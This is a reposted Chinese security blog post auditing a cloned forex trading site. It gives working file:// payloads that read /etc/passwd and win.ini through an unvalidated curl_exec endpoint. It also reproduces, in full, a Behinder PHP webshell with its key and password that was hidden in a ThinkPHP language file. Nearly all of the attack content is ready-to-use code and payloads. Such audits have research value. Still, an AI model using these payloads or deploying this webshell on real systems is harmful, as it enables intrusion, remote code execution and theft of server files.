0x00 前言
项目编号:10053
Fofa:请见文末!
0x01 前台任意文件读取
在 /index/controller/Api.php 控制器的curlfun方法中存在curl_exec函数,且回显,导致任意文件读取漏洞产生
public function curlfun($url, $params = array(), $method = 'GET')
{
$header = array();
$opts = array(CURLOPT_TIMEOUT => 10, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_HTTPHEADER => $header);
/* 根据请求类型设置特定参数 */
switch (strtoupper($method)) {
case 'GET' :
$opts[CURLOPT_URL] = $url . '?' . http_build_query($params);
$opts[CURLOPT_URL] = substr($opts[CURLOPT_URL],0,-1);
break;
case 'POST' :
//判断是否传输文件
$params = http_build_query($params);
$opts[CURLOPT_URL] = $url;
$opts[CURLOPT_POST] = 1;
$opts[CURLOPT_POSTFIELDS] = $params;
break;
default :
}
/* 初始化并执行curl请求 */
$ch = curl_init();
curl_setopt_array($ch, $opts);
$data = curl_exec($ch);
$error = curl_error($ch);
curl_close($ch);
if($error){
$data = null;
}
return $data;
}
Payload:
/index.php/index/Api/curlfun?url=file:///etc/passwd
/index.php/index/Api/curlfun?url=file:///C:/windows/win.ini
0x02 冰蝎PHP后门
位于 /thinkphp/lang/en.php 很明显的冰蝎后门,pass:rebeyond 不多说
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
0x03 前台任意命令执行漏洞
请见文末!
原文始发于微信公众号(星悦安全):某仿新浪外汇余额宝时间交易所审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论